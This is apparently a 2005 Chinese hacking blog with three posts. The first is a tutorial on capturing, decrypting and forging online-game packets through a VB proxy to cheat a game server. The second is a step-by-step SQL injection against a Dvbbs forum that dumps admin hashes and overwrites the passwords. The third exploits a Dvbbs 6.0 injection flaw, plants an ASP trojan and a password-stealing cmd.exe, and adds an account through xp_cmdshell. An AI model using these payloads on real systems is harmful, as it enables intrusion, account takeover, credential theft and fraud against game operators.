　　现在要了解的知识也差不多了！不过，有个问题在游戏修改中是需要注意的。在计算机中数据的储存方式一般是低位数储存在低位字节，高位数储存在高位字节。比如，十进制数41715转换为16进制的数为A2F3，但在计算机中这个数被存为F3A2。

看了以上内容大家对数据的存贮和数据的对应关系都了解了吗？好了，接下来我们要告诉大家在游戏中，封包到底是怎么一回事了，来！大家把袖口卷起来，让我们来干活吧！
二：什么是封包？
怎么截获一个游戏的封包？
怎么去检查游戏服务器的ip地址和端口号？
Internet用户使用的各种信息服务，其通讯的信息最终均可以归结为以IP包为单位的信息传送，IP包除了包括要传送的数据信息外，还包含有信息要发送到的目的IP地址、信息发送的源IP地址、以及一些相关的控制信息。当一台路由器收到一个IP数据包时，它将根据数据包中的目的IP地址项查找路由表，根据查找的结果将此IP数据包送往对应端口。下一台IP路由器收到此数据包后继续转发，直至发到目的地。路由器之间可以通过路由协议来进行路由信息的交换，从而更新路由表。

那么我们所关心的内容只是IP包中的数据信息，我们可以使用许多监听网络的工具来截获客户端与服务器之间的交换数据，下面就向你介绍其中的一种工具：WPE。

WPE使用方法：
执行WPE会有下列几项功能可选择：

SELECT GAME
选择目前在记忆体中您想拦截的程式，您只需双击该程式名称即可。

TRACE
追踪功能。用来追踪撷取程式送收的封包。
WPE必须先完成点选欲追踪的程式名称，才可以使用此项目。
按下Play键开始撷取程式收送的封包。
您可以随时按下 | | 暂停追踪，想继续时请再按下 | | 。
按下正方形可以停止撷取封包并且显示所有已撷取封包内容。
若您没按下正方形停止键，追踪的动作将依照OPTION里的设定值自动停止。
如果您没有撷取到资料，试试将OPTION里调整为Winsock Version 2。
WPE 及 Trainers 是设定在显示至少16 bits 颜色下才可执行。

FILTER
过滤功能。用来分析所撷取到的封包，并且予以修改。

SEND PACKET
送出封包功能。能够让您送出假造的封包。

TRAINER MAKER
制作修改器。
OPTIONS
设定功能。让您调整WPE的一些设定值。
FILTER的详细教学
- 当FILTER在启动状态时，ON的按钮会呈现红色。
- 当您启动FILTER时，您随时可以关闭这个视窗。FILTER将会保留在原来的状态，直到您再按一次 on / off 钮。
- 只有FILTER启用钮在OFF的状态下，才可以勾选Filter前的方框来编辑修改。
- 当您想编辑某个Filter，只要双击该Filter的名字即可。
NORMAL MODE：
范例：
当您在 Street Fighter Online ﹝快打旋风线上版?#123;游戏中，您使用了两次火球而且击中了对方，这时您会撷取到以下的封包：
SEND-> 0000 08 14 21 06 01 04
SEND-> 0000 02 09 87 00 67 FF A4 AA 11 22 00 00 00 00
SEND-> 0000 03 84 11 09 11 09
SEND-> 0000 0A 09 C1 10 00 00 FF 52 44
SEND-> 0000 0A 09 C1 10 00 00 66 52 44

您的第一个火球让对方减了16滴﹝16 = 10h?#123;的生命值，
而您观察到第4跟第5个封包的位置4有10h的值出现，应该就是这里了。
您观察10h前的0A 09 C1在两个封包中都没改变，可见得这3个数值是发出火球的关键。
因此您将0A 09 C1
10填在搜寻列﹝SEARCH?#123;，然后在修改列﹝MODIFY?#123;的位置4填上FF。如此一来，当您再度发出火球时，FF会取代之前的10，也就是攻击力为255的火球了！

ADVANCED MODE：
范例：

当您在一个游戏中，您不想要用真实姓名，您想用修改过的假名传送给对方。在您使用TRACE后，您会发现有些封包里面有您的名字出现。假设您的名字是Shadow，换算成16进位则是﹝53
68 61 64 6F 77?#123;；而您打算用moon﹝6D 6F 6F 6E 20 20?#123;来取代他。
1) SEND-> 0000 08 14 21 06 01 04
2) SEND-> 0000 01 06 99 53 68 61 64 6F 77 00 01 05
3) SEND-> 0000 03 84 11 09 11 09
4) SEND-> 0000 0A 09 C1 10 00 53 68 61 64 6F 77 00 11
5) SEND-> 0000 0A 09 C1 10 00 00 66 52 44

但是您仔细看，您的名字在每个封包中并不是出现在相同的位置上

- 在第2个封包里，名字是出现在第4个位置上
- 在第4个封包里，名字是出现在第6个位置上

在这种情况下，您就需要使用ADVANCED MODE
- 您在搜寻列﹝SEARCH?#123;填上：53 68 61 64 6F 77 ﹝请务必从位置1开始填?#123;
- 您想要从原来名字Shadow的第一个字母开始置换新名字，因此您要选择从数值被发现的位置开始替代连续数值﹝from the position of the
chain found?#123;。
- 现在，在修改列﹝MODIFY?#123;000的位置填上：6D 6F 6F 6E 20 20
﹝此为相对应位置，也就是从原来搜寻栏的+001位置开始递换?#123;
- 如果您想从封包的第一个位置就修改数值，请选择﹝from the beginning of the packet?#123;

了解一点TCP/IP协议常识的人都知道，互联网是将信息数据打包之后再传送出去的。每个数据包分为头部信息和数据信息两部分。头部信息包括数据包的发送地址和到达地址等。数据信息包括我们在游戏中相关操作的各项信息。那么在做截获封包的过程之前我们先要知道游戏服务器的IP地址和端口号等各种信息，实际上最简单的是看看我们游戏目录下，是否有一个SERVER.INI的配置文件，这个文件里你可以查看到个游戏服务器的IP地址，比如金庸群侠传就是如此，那么除了这个我们还可以在DOS下使用NETSTAT这个命令，

NETSTAT命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。或者你可以使用木马客星等工具来查看网络连接。工具是很多的，看你喜欢用哪一种了。

NETSTAT命令的一般格式为：
NETSTAT [选项]

命令中各选项的含义如下：
-a 显示所有socket，包括正在监听的。
-c 每隔1秒就重新显示一遍，直到用户中断它。
-i 显示所有网络接口的信息。
-n 以网络IP地址代替名称，显示出网络连接情形。
-r 显示核心路由表，格式同"route -e"。
-t 显示TCP协议的连接情况。
-u 显示UDP协议的连接情况。
-v 显示正在进行的工作。
三：怎么来分析我们截获的封包？
首先我们将WPE截获的封包保存为文本文件，然后打开它，这时会看到如下的数据（这里我们以金庸群侠传里PK店小二客户端发送的数据为例来讲解）：

第一个文件：
SEND-> 0000 E6 56 0D 22 7E 6B E4 17 13 13 12 13 12 13 67 1B
SEND-> 0010 17 12 DD 34 12 12 12 12 17 12 0E 12 12 12 9B
SEND-> 0000 E6 56 1E F1 29 06 17 12 3B 0E 17 1A
SEND-> 0000 E6 56 1B C0 68 12 12 12 5A
SEND-> 0000 E6 56 02 C8 13 C9 7E 6B E4 17 10 35 27 13 12 12
SEND-> 0000 E6 56 17 C9 12

第二个文件：
SEND-> 0000 83 33 68 47 1B 0E 81 72 76 76 77 76 77 76 02 7E
SEND-> 0010 72 77 07 1C 77 77 77 77 72 77 72 77 77 77 6D
SEND-> 0000 83 33 7B 94 4C 63 72 77 5E 6B 72 F3
SEND-> 0000 83 33 7E A5 21 77 77 77 3F
SEND-> 0000 83 33 67 AD 76 CF 1B 0E 81 72 75 50 42 76 77 77
SEND-> 0000 83 33 72 AC 77

我们发现两次PK店小二的数据格式一样，但是内容却不相同，我们是PK的同一个NPC，为什么会不同呢？
原来金庸群侠传的封包是经过了加密运算才在网路上传输的，那么我们面临的问题就是如何将密文解密成明文再分析了。

因为一般的数据包加密都是异或运算，所以这里先讲一下什么是异或。
简单的说，异或就是"相同为0，不同为1"（这是针对二进制按位来讲的），举个例子，0001和0010异或，我们按位对比，得到异或结果是0011，计算的方法是：0001的第4位为0，0010的第4位为0，它们相同，则异或结果的第4位按照"相同为0，不同为1"的原则得到0，0001的第3位为0，0010的第3位为0，则异或结果的第3位得到0，0001的第2位为0，0010的第2位为1，则异或结果的第2位得到1，0001的第1位为1，0010的第1位为0，则异或结果的第1位得到1，组合起来就是0011。异或运算今后会遇到很多，大家可以先熟悉熟悉，熟练了对分析很有帮助的。

下面我们继续看看上面的两个文件，按照常理，数据包的数据不会全部都有值的，游戏开发时会预留一些字节空间来便于日后的扩充，也就是说数据包里会存在一些"00"的字节，观察上面的文件，我们会发现文件一里很多"12"，文件二里很多"77"，那么这是不是代表我们说的"00"呢？推理到这里，我们就开始行动吧！

我们把文件一与"12"异或，文件二与"77"异或，当然用手算很费事，我们使用"M2M 1.0 加密封包分析工具"来计算就方便多了。得到下面的结果：

第一个文件：
1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09
SEND-> 0010 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 89
2 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 08
3 SEND-> 0000 F4 44 09 D2 7A 00 00 00 48
4 SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00
5 SEND-> 0000 F4 44 05 DB 00

第二个文件：
1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09
SEND-> 0010 05 00 70 6B 00 00 00 00 05 00 05 00 00 00 1A
2 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 84
3 SEND-> 0000 F4 44 09 D2 56 00 00 00 48
4 SEND-> 0000 F4 44 10 DA 01 B8 6C 79 F6 05 02 27 35 01 00 00
5 SEND-> 0000 F4 44 05 DB 00

哈，这一下两个文件大部分都一样啦，说明我们的推理是正确的，上面就是我们需要的明文！

接下来就是搞清楚一些关键的字节所代表的含义，这就需要截获大量的数据来分析。

首先我们会发现每个数据包都是"F4 44"开头，第3个字节是变化的，但是变化很有规律。我们来看看各个包的长度，发现什么没有？对了，第3个字节就是包的长度！
通过截获大量的数据包，我们判断第4个字节代表指令，也就是说客户端告诉服务器进行的是什么操作。例如向服务器请求战斗指令为"30"，战斗中移动指令为"D4"等。
接下来，我们就需要分析一下上面第一个包"F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09 05 00 CF 26
00 00 00 00 05 00 1C 00 00 00
89"，在这个包里包含什么信息呢？应该有通知服务器你PK的哪个NPC吧，我们就先来找找这个店小二的代码在什么地方。
我们再PK一个小喽罗（就是大理客栈外的那个咯）：
SEND-> 0000 F4 44 1F 30 D4 75 F6 05 01 01 00 01 00 01 75 09
SEND-> 0010 05 00 8A 19 00 00 00 00 11 00 02 00 00 00 C0
我们根据常理分析，游戏里的NPC种类虽然不会超过65535（FFFF），但开发时不会把自己限制在字的范围，那样不利于游戏的扩充，所以我们在双字里看看。通过"店小二"和"小喽罗"两个包的对比，我们把目标放在"6C
79 F6 05"和"CF 26 00
00"上。（对比一下很容易的，但你不能太迟钝咯，呵呵）我们再看看后面的包，在后面的包里应该还会出现NPC的代码，比如移动的包，游戏允许观战，服务器必然需要知道NPC的移动坐标，再广播给观战的其他玩家。在后面第4个包"SEND->
0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00"里我们又看到了"6C 79 F6
05"，初步断定店小二的代码就是它了！
（这分析里边包含了很多工作的，大家可以用WPE截下数据来自己分析分析）

第一个包的分析暂时就到这里（里面还有的信息我们暂时不需要完全清楚了）

我们看看第4个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00
00"，再截获PK黄狗的包，（狗会出来2只哦）看看包的格式：
SEND-> 0000 F4 44 1A DA 02 0B 4B 7D F6 05 02 27 35 01 00 00
SEND-> 0010 EB 03 F8 05 02 27 36 01 00 00

根据上面的分析，黄狗的代码为"4B 7D F6 05"（100040011），不过两只黄狗服务器怎样分辨呢？看看"EB 03 F8
05"（100140011），是上一个代码加上100000，呵呵，这样服务器就可以认出两只黄狗了。我们再通过野外遇敌截获的数据包来证实，果然如此。

那么，这个包的格式应该比较清楚了：第3个字节为包的长度，"DA"为指令，第5个字节为NPC个数，从第7个字节开始的10个字节代表一个NPC的信息，多一个NPC就多10个字节来表示。

大家如果玩过网金，必然知道随机遇敌有时会出现增援，我们就利用游戏这个增援来让每次战斗都会出现增援的NPC吧。

通过在战斗中出现增援截获的数据包，我们会发现服务器端发送了这样一个包：
F4 44 12 E9 EB 03 F8 05 02 00 00 03 00 00 00 00 00 00
第5-第8个字节为增援NPC的代码（这里我们就简单的以黄狗的代码来举例）。
那么，我们就利用单机代理技术来同时欺骗客户端和服务器吧！

好了，呼叫NPC的工作到这里算是完成了一小半，接下来的事情，怎样修改封包和发送封包，我们下节继续讲解吧。
四：怎么冒充"客户端"向"服务器"发我们需要的封包？
这里我们需要使用一个工具，它位于客户端和服务器端之间，它的工作就是进行数据包的接收和转发，这个工具我们称为代理。
如果代理的工作单纯就是接收和转发的话，这就毫无意义了，但是请注意：所有的数据包都要通过它来传输，这里的意义就重大了。我们可以分析接收到的数据包，或者直接转发，或者修改后转发，或者压住不转发，甚至伪造我们需要的封包来发送。

下面我们继续讲怎样来同时欺骗服务器和客户端，也就是修改封包和伪造封包。
通过我们上节的分析，我们已经知道了打多个NPC的封包格式，那么我们就动手吧！

首先我们要查找客户端发送的包，找到战斗的特征，就是请求战斗的第1个包，我们找"F4 44 1F 30"这个特征，这是不会改变的，当然是要解密后来查找哦。
找到后，表示客户端在向服务器请求战斗，我们不动这个包，转发。
继续向下查找，这时需要查找的特征码不太好办，我们先查找"DA"，这是客户端发送NPC信息的数据包的指令，那么可能其他包也有"DA"，没关系，我们看前3个字节有没有"F4
44"就行了。找到后，我们的工作就开始了！

我们确定要打的NPC数量。这个数量不能很大，原因在于网金的封包长度用一个字节表示，那么一个包可以有255个字节，我们上面分析过，增加一个NPC要增加10个字节，所以大家算算就知道，打20个NPC比较合适。

然后我们要把客户端原来的NPC代码分析计算出来，因为增加的NPC代码要加上100000哦。再把我们增加的NPC代码计算出来，并且组合成新的封包，注意代表包长度的字节要修改啊，然后转发到服务器，这一步在编写程序的时候要注意算法，不要造成较大延迟。

上面我们欺骗服务器端完成了，欺骗客户端就简单了，^-^

发送了上面的封包后，我们根据新增NPC代码构造封包马上发给客户端，格式就是"F4 44 12 E9 NPC代码 02 00 00 03 00 00 00 00
00 00",把每个新增的NPC都构造这样一个包，按顺序连在一起发送给客户端，客户端也就被我们骗过了，很简单吧。

以后战斗中其他的事我们就不管了，尽情地开打吧，呵呵。

上面讲的需要一定的编程基础，但是不难，即使你不会编程，相信你继续看下去就会有收获了。
五：怎么用计算机语言去写一个单机代理？
在上一章，我们已经对于代理的原理进行了讲解，大家对于代理已经有了一个初步的认识，现在我教大家如何用计算机语言编写一个自己的代理，我们考虑到简单明了，我们选用VB，因为用VB编写代理只需要很少的代码。

代码如下：

Private Sub form_Load()
DaiLi.LocalPort = "1234"
Server.RemotePort = "1234"
Server.RemoteHost = "211.100.20.26"
DaiLi.Listen
End Sub

Private Sub DaiLi_ConnectionRequest(ByVal requestID As Long)
Server.Connect
Client.Accept requestID
End Sub

Private Sub Client_DataArrival(ByVal bytesTotal As Long)
Dim ClientToServer() As Byte
Client.GetData ClientToServer
Server.SendData ClientToServer
End Sub

Private Sub Server_DataArrival(ByVal bytesTotal As Long)
Dim ServerToClient() As Byte
Server.GetData ServerToClient
Client.SendData ServerToClient
End Sub

form_Load（）这个过程表示在程序启动的时候要做的一些初始化操作。
DaiLi.LocalPort = "1234" 设定监听端口
Server.RemotePort = "1234" 设定象游戏服务器连接的端口（和监听端口是相同的）
Server.RemoteHost = "211.100.20.26" 设定游戏服务器的IP地址
DaiLi.Listen 监听本地的连接请求
这时你只要将游戏的服务器列表的IP改成127.0.0.1，那么游戏的客户端程序就会来连接我们的代理，我们的代理会调用如下的过程：
Private Sub DaiLi_ConnectionRequest(ByVal requestID As Long)
Server.Connect 代理客户端向服务器连接
Client.Accept requestID 接受客户端的连接请求
End Sub

当客户端向服务器发送数据时，就会调用下边的过程
Private Sub Client_DataArrival(ByVal bytesTotal As Long)
Dim ClientToServer() As Byte 变量定义，请求了一个用于存放数据的空间
Client.GetData ClientToServer 客户端的连接接收这些数据
在这里我们可以添加自己的代码，对封包进行修改，然后再发向服务器。

Server.SendData ClientToServer 服务器的连接把这些数据发向服务器
End Sub

当服务器发送数据给客户端时，会调用下边的过程
Private Sub Server_DataArrival(ByVal bytesTotal As Long)
Dim ServerToClient() As Byte 变量定义，请求了一个用于存放数据的空间
Server.GetData ServerToClient 服务器连接接收数据
在这里我们可以添加自己的代码，对封包进行修改，然后再发给客户端。

Client.SendData ServerToClient
End Sub

yiye 2005-06-14 10:22 发表评论

动网SQL版-不得不说的问题

yiye — Tue, 14 Jun 2005 02:07:00 GMT

现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序，难免不出纰漏。如果一台主机上存在某个SQL注入点，而这台主机又安装有动网SQL版的话，基本上可以得出结论：这个动网就是你的了。下面来看一下实例。

一、首先确定目标。假设以下URL存在SQL注入：
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示：
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
继续，先探测一下系统版本：
http://www.loveyou.com/type.asp?id=(select @@version)--

返回： Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。

取得当前连接数据库用户：
http://www.loveyou.com/type.asp?id=(select user_name())--

返回：Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为：webuser

取得当前连接数据库名：
http://www.loveyou.com/type.asp?id=(select db_name())--

返回：Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为： 01city

接下来测试下权限：（注：因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。）
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续，
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER('db_owner'))--
正常显示信息，看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。

二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
首先得到第一个表：
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回：[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。
好的，第一个表名出来了，为： address
继续，
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回： admin 第二个表名也出来了。依次类推，提交：
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'，'admin',...))--
可以得到当前数据库中所有表名。
不一会儿，结果出来了，表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出这是动网的表。当然还有其它的一些表，我们不去管它。
接下来就好办了，也不要去猜字段了，我们打开自己的动网数据库看一下就知道了。既然有了表名，字段名，那么，动网不就在你掌握之下了吗？但千万不要 drop table啊。破坏就不好了。我们的目的是演练技术，提高水平。好，那么，我们去得到动网的后台。

三、进入后台，取得动网论坛管理员权限。
先看看后台有多少个管理员：
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误：当前的记录已被删除。说明管理员少于4位。直接提交，
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息，看来管理员只有一个，读出管理员名字，
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了，管理员后台登陆名为： 01city
继续读出管理员后台登陆密码：
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利，密码为： e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗？别急，根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理，一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。这个很容易，在他论坛注册一个用户查看一下管理团队，得出，前台管理用户为： admin

好，得到他的密码：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回，admin的前台密码为：e7cc01be0e33a273
同样是MD5的。现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗？别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了，对，就是，update。我们来提交：
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin'；--
正常返回信息，应该成功执行了，查看一下：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为： 49ba59abbe56e057
更改密码成功，说明一下，这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的，我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的，提交：
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下：
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功，后台管理员现在已变成：admin 接下来更改密码，提交：
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下：
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功，后台管理员密码已经变成：49ba59abbe56e057

到这里为止，动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。

四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试，也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话，动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话：千里之堤，溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体，任何细微的错误都有可能导致严重后果。

yiye 2005-06-14 10:07 发表评论

动网6.0漏洞附件

yiye — Tue, 14 Jun 2005 02:04:00 GMT

DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛；是国内非常优秀的论坛程序，在win系统中大量的使用，本人网站用的就是这个程序，所以必须关注。这个漏洞什么原因引起的呢？主要由于tongji.asp下面的代码： 60 sub topuser()61 set rs=server.createobject("adodb.recordset")62 sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate from [user] order by article desc"变量 n 没有经任何检查就直接放到SQL查询中了，我们指定N 的值，想办法进行查询。明白上面的道理了，首先，测试ACCESS版动网论坛6.0版本（网上到处都是啦！）假设现在论坛的网址是http://192.168.0.2/bbs/dvbbs6/bbs/在地址栏输入http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20UserName,（注意UserName 后面有逗号）返回：document.write(\'□\');document.write(\'刹那\');document.write(\'\');document.write(\'□\');document.write(\'飞云桂迷\');document.write(\'\');看的是不是有点乱，不用管document.write 它是个输入出函数！！刹那，飞云桂迷就是用户名了，光有用户名当然没有用，下面我们将 username 改成userpassword了，例如： http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20userpassword, 返回： document.write(\'□\');document.write(\'6086f166dd77b131\');document.write(\'\');document.write(\'□\');document.write(\'50392f2ecb2828f1\');document.write(\'\');明白了吗？刹那的密码是6086f166dd77b131，飞云桂迷的密码是50392f2ecb2828f1但是经过MD5加密的，（注意刹那，飞云桂迷，可能并不是管理员，因为用查询得到的只是按发贴量排序）http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20userclass,返回：document.write(\'□\');document.write(\'版主\');document.write(\'\');document.write(\'□\');document.write(\'贵宾\');document.write(\'\');发现没有，每一条都是对应的，哦，刹那是版主，飞云桂迷是贵宾，那也不是管理员呀，，没事，管理员的发贴量，绝对不可能太少，我们加大N的值，让N=50如果图所：此处插入看见管理员吧！是第八位，再查询N=8时的最后一位就是管理员了，我查询得到的结晶是\');document.write(\'□\');document.write(\'yshaw\');document.write(\'\');\');document.write(\'□\');document.write(\'cfc525e4f18301e2\');document.write(\'\');用同样的办法你可以把admin的userid、回答问题....全部搞到手。 http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20Useremail 你就能看见管理的邮箱，如果图所：此处插入现在得到了管理员用户名，和密码，是不是就可以登陆了呢？没有这么简单，密码是MD5加密的，不能直接使用，有必要了解一下MD5加密。网上有一种说法，能快速得到动网管理员密码。因为我的网站密码都是MD5加密过的，对于这此我格外留心，号称不可逆算法的MD5，就能如果简单的破解吗？大概步骤是这样，在自己的机器上安装jmail和动网论坛，把下载的数据库覆盖新数据库并且把数据库扩展名改为.mdb，修改管理员的资料，把回答问题和答案改掉！把email换成自己的，忘记密码－回答问题－取回密码，真的这么简单吗？细心分析。动网论坛是数据路径文件加密文件！等等，~~ 只要有表示些页面有加密操作！在注册时，我们输入如果1234 ，调用，md5.asp进行加密。将加密后的数据!#!#%!$#%!%!存在数据库中，用户验证时，是这将的输入的密码1234，调用MD5加密，，对比数据中加密之后的数据，相同则成功，否则失败！没有加密的数据 ---》加密 -----》对比，如果作者所说，能得到管理员密码，在我脑子里只有两种情况 1，经过一个次逆过程，还原mD5 —》解密—》发送给黑客这是不可能的， MD5将任意长度的“字节串”变换成一个16，32……128bit的大整数，并且它是一个不可逆的字符串变换算法，（有些人开始还愚蠢的认为MD5是可逆的算法）换句话说就是，即使你看到源程序和算法描述，也无法将一个MD5的值变换回原始的字符串，从数学原理上说，是因为原始的字符串有无穷多个，这有点象不存在反函数的数学函数。 2，如果上面的不可能话，只有动网另有后门，有存储管理的明文密码，查实没有这样情况！如果说1092版本之下也能发送出密码的话，呵呵，1023版本之下。都没用MD5加密，动网6。0版本的数据库并不向下兼容，这意味着你下载的数据库，不可能在别的版主要使用！我测试的版本有，动网论坛 Ver4.0 Build 1210 动网论坛 Ver5.0 Build 0109 等，dvbbs6.0 不支持取回密码，只能在修改所以基本上可以认为了无稽之谈！我们可用软件破解MD5密码, 在网上找了几个破解程序都界面不太好，我女朋友正好在身边就自己编了一个32位和 16位MD5加密解密的程序，如果图所：此处插入找个软件生成字典，打开文件，破解好出来了，用户名：yshaw密码是：yshawk2rcomic@123哦！~~不能进入后台，众所周知因为动网6。0后台和前台，用户名密码，允许使用不一样的用户名密码。倒如：前台用户名是：admin 密码：admin登陆后台管理时，可设置成为用户名：hacker 密码：hacker而且密码存储在不同的字段中，前台用户名密码存储在user,后面的用户名密码存储在admin字段中，有些论坛管理员会将前后台密码相同，但大多数都是不同的，也好，我接着想办法得到管理员后台密码！看了几篇文章得到启发，我们不能直接查询，难道就不能用子查询？我在地址栏输入http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=2%20(select%20max(username)%20from%20admin),返回：document.write(\'□\');document.write(\'admin\');document.write(\'\');我们得到后台用户名：adminhttp://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=1%20(select%20max(password)%20from%20admin),返回：document.write(\'□\');document.write(\' bc4f56dce3f5fff6\');document.write(\'\');我们得到后台密码: bc4f56dce3f5fff6 (Md5加密之后的)http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=2%20(select%20max(adduser)%20from%20admin),得到对应的前台用户名:yshaw（这在有多个管理员时，用于确定密码参考对应前台用户的关系）后来我下载了对方的数据库，事实证明，他有两个管理员，一个是admin，另一个是yshaw但密码是一样的。现在解密得到的后台密码是：yshawk2rcomic123现在登陆那个论坛－》进入管理页面－》论坛版面管理－》随便选一个讨论区－》高级设置在上传文件类型中加上 “|asp|exe”如果图所：此处插入好了，进去这个讨论区发表帖子－上传文件，呵呵，把自己改造好的ASP木马上传，动网论坛会返回上传文件名称，如：20035222535558093.asp 我们用http://192.168.0.2/bbs/dvbbs6/bbs/uploadfile/20035222535558093.asp就可以访问，为什么我知道路径，？动网默认uploadfile放置上传文件，再将asp木马转移到别的文件中，OK！删除UploadFile中的文件！（因为在插件版的动网中，能管理上传文件，管理员看见.ASP当然就删除了。）如果图所：此处插入上传cmd.exe这个程序，这个程序在我的另一篇文章中有说明，请参照！我改造之后，它并不会新建用户，而它会在根目录下生成一个winntguaigou.sys,用ASP木马下载回家，用记事本打开就能看到管理员密码！但是在根目录下生成一个文件，还是不安全，我是这样做的，将目录定位到论坛主页目录，如我的论坛目录G:\\Inetpub\\WWWROOT\\好的，，知道站点物理路径，我将得到的winntguaigou.sys定位输出到，G:\\Inetpub\\WWWROOT\\bbs\\Datebackup\\当然，我还将winntguaigou.sys输出时改名为dvbbs6.mdb够隐蔽吧，因为每个人的论坛目录都可能不一样，所以没有办法写出通用的程序，参考我的另一篇文件的程序，在光盘中能找到，大家可改成自己的路径，第833行 GetWindowsDirectory(szPassPath, MAX_PATH);第834行， strcat(szPassPath, "\\guaigou.sys");简单吧，呵呵，不信你不运行cmd.exe, 只要管理员运行，CMD.exe,就能得到他的管理员密码。就能将服务器一起拿下。等待的时间，我们先干点别的，将得到论坛管理员密码，测试他的信箱， OK 成功了测试他的QQ OK，成功了，还没有密码保护。下午5点多钟，发现dvbbs6.mdb文件创建了，。一定是网管运行了，CMD.exe下载http://192.168.0.2/bbs/dvbbs6/bbs/ Datebackup/dvbbs6.mdb用记事本打开，就得到了系统管理员的密码。至此住手了，我们已经得到他的服务器权限，论坛权限，QQ，信箱，哈哈，，兄弟们不要太狠！记得将上面改动 “|ASP”和cmd.exe删除，1:MSSQL 如果是MSSQL版的，还客气什么，直接提交如下URL： http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..x p _c m d s h e l l%20\'net%20user%20guaigou%20hacker77169%20/add\' 执行的操作是 password from admin; ex ec master..x p _ c m d s h e l l \'net u ser guaigou hacker77169 /add\' 